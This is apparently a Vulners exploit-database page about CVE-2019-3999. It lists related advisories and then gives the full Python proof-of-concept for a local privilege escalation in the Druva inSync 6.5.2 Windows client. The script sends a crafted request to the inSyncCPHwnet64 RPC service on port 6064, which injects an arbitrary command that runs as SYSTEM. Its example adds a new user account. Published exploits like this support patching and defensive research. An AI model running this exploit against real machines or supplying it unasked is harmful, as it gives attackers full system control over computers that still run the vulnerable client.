| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| Druva inSync Windows Client 6.5.2 - Local Privilege Escalation Exploit | 30 Apr 202000:00 | – | zdt | |
| Druva inSync inSyncCPHwnet64.exe RPC Type 5 Privilege Escalation Exploit | 12 May 202000:00 | – | zdt | |
| CVE-2019-3999 | 29 Apr 202000:00 | – | circl | |
| Druva inSync Windows Client Arbitrary OS Command Execution Vulnerability | 26 Feb 202000:00 | – | cnvd | |
| CVE-2019-3999 | 25 Feb 202018:15 | – | cve | |
| CVE-2019-3999 | 25 Feb 202018:15 | – | cvelist | |
| Druva inSync inSyncCPHwnet64.exe RPC Type 5 Privilege Escalation | 6 May 202014:09 | – | metasploit | |
| CVE-2019-3999 | 25 Feb 202019:15 | – | nvd | |
| Druva inSync Windows Client 6.5.2 Privilege Escalation | 29 Apr 202000:00 | – | packetstorm | |
| Druva inSync inSyncCPHwnet64.exe RPC Type 5 Privilege Escalation | 12 May 202000:00 | – | packetstorm |
# Exploit Title: Druva inSync Windows Client 6.5.2 - Local Privilege Escalation
# Date: 2020-04-28
# Exploit Author: Chris Lyne
# Vendor Homepage: druva.com
# Software Link: https://downloads.druva.com/downloads/inSync/Windows/6.5.2/inSync6.5.2r99097.msi
# Version: 6.5.2
# Tested on: Windows 10
# CVE : CVE-2019-3999
# See also: https://www.tenable.com/security/research/tra-2020-12
import socket
import struct
import sys
# Command injection in inSyncCPHwnet64 RPC service
# Runs as nt authority\system. so we have a local privilege escalation
if len(sys.argv) < 2:
print "Usage: " + __file__ + " <quoted command to execute>"
print "E.g. " + __file__ + " \"net user /add tenable\""
sys.exit(0)
ip = '127.0.0.1'
port = 6064
command_line = sys.argv[1]
# command gets passed to CreateProcessW
def make_wide(str):
new_str = ''
for c in str:
new_str += c
new_str += '\x00'
return new_str
hello = "inSync PHC RPCW[v0002]"
func_num = "\x05\x00\x00\x00" # 05 is to run a command
command_line = make_wide(command_line)
command_length = struct.pack('<i', len(command_line))
# send each request separately
requests = [ hello, func_num, command_length, command_line ]
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
i = 1
for req in requests:
print 'Sending request' + str(i)
sock.send(req)
i += 1
sock.close()
print "Done."Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation